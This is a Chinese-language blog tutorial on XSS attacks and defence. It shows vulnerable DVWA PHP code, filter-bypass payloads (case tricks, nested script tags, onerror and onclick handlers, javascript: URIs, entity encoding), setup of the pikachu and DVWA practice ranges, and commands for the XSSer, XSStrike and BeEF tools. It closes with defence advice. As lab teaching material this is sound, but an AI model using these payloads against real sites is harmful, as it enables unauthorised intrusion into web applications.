XSS渗透与防御——(二)XSS

1 XSS(Cross Site Script)基础和分类

恶意攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面时,代码就会执行,即为达到攻击目的。

1.1 反射型XSS

在这里插入图片描述

  • 比如在如下网页源码中

    <?php                                                                 //1.
    header ("X-XSS-Protection: 0");                                       //2.
    // Is there any input?                                                //3.
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {  //4.
     // Feedback for end user                                          //5.
     echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';                  //6.
    }                                                                     //7.
    ?>                                                                    //8. 
    

​ 第6行将用户输入**(可能是用户名,也可能是留言)**未经处理直接输出显示,如果用户输入<script>alert('XSS');</script>,则会发生

在这里插入图片描述

  • 当然源码可能将<script>标签 过滤

    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    那么在输入时使用大写<Script>或者复写<scri<script>pt>

  • 也可能将大小写都屏蔽了:

    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    那么就要换一个标签,比如:

    <img src="" onerror="alert('XSS')">

    <audio src="" onerror="alert('XSS')">

    <video src="" onerror="alert('XSS')">

  • 也可能使用了htmlspecialchars函数来转义字符$name = htmlspecialchars( $_GET[ 'name' ] );

在这里插入图片描述
那么就需要构造脚本来注入

 a' οnclick='alert(1)'
 a' οnfοcus='alert(1)'
 javascript:alert(1)
 或者转义,如上一条可转义为: &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

1.2 存储型XSS

在这里插入图片描述

  • 比如在如下网页源码中

    <?php                                                                            //1.
    if( isset( $_POST[ 'btnSign' ] ) ) {                                             //2.
        // Get input                                                                 //3.
        $message = trim( $_POST[ 'mtxMessage' ] );                                   //4.
        $name    = trim( $_POST[ 'txtName' ] );                                      //5.
        // Sanitize message input                                                    //6.
        $message = stripslashes( $message );                                         //7.
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));                                                      //8.
        // Sanitize name input                                                       //9.
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));                                                      //10.
        // Update database                                                           //11.
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";                                                                             //12.
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );                                                                                    //13.
        //mysql_close();                                                             //14.
    }                                                                                //15.
    ?>                                                                               //16.
    

​ 第8行对用户输入未经处理就显示出来,如果用户输入<script>alert('XSS');</script>,则会产生与上文讲到的反射型XSS同样的结果。

在这里插入图片描述

  • 同样的,可能将<script>标签过滤了、将大小写屏蔽、转义字符等。

2 pikachu和DVWA靶场搭建

2.1 pikachu

pikachu 是一款开源的练习 web 漏洞的综合靶场,用 PHP 代码 编写而成。需要 PHP 和 Nginx(中间件)环境运行。

2.1.1 下载

GitHub下载地址

由于近来GitHub访问速度屡刷新低,经常无法打开,所以我给出国内可以快速访问的地址:

Gitee下载地址

2.1.2 安装

最简单的方法,就是先安装phpStudy,然后把pikachu解压放在phpstudy安装目录的WWW路径下,安装好MySql和Nginx,新建网站指定到pikachu目录即可。

  1. 安装phpstudy 在这里插入图片描述

  2. 新建网站

    在这里插入图片描述

  3. 修改pikachu配置文件,用于初始化数据库

    修改配置文件WWW\pikachu\WWW\inc\config.inc.php
    在这里插入图片描述
    根据注解修改即可

    在这里插入图片描述

    打开网址+端口号,单击安装/初始化,等待完毕后即可使用。

  4. XSS后台

    需要先将配置文件修改后才可使用

    WWW\pikachu\pkxss\inc\config.inc.php
    在这里插入图片描述

2.2 DVWA

DVWA 是一款开源的练习 web 漏洞的靶场工具,用 PHP 代码编 写而成。需要 PHP 和 Apache 环境运行。

2.2.1 下载

网页下载

GitHub下载地址

Gitee下载地址

2.2.2 安装

把DVWA解压后放在phpstudy的WWW路径下,后续操作与pikachu安装相同,注意这里配置文件需要自己先修改后缀名。

在这里插入图片描述

默认用户名密码为admin/password

2.3 其他XSS平台

https://github.com/78778443/xssplatform

Kali中命令行输入beef-xss,默认用户名密码是beef/123456

3 XSS检测和利用

3.1 XSSER

地址:https://xsser.03c8.net

Kali中命令行输入xsser即可安装使用

xsser -u url --cookie=COOKIE

xsser -De "google" -d "search.php?q="

3.2 XSSTRIKE

git clone https://github.com/s0md3v/XSStrike

Gitee下载地址

检测命令:

#Get类型
python3 xsstrike.py -u 'url'
#POST类型
python3 xsstrike.py -u 'url' --data 'name=1'

4 XSS防御

其根本就是通过正则表达式等来识别并过滤XSS脚本

  • 入口:正则识别关键字并处理,替换成别的字符

  • 出口:htmlspecialchars函数实体化字符

  • WAF 防火墙

    Github下载

    Gitee下载

  • mod_security需要配合Apache使用

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值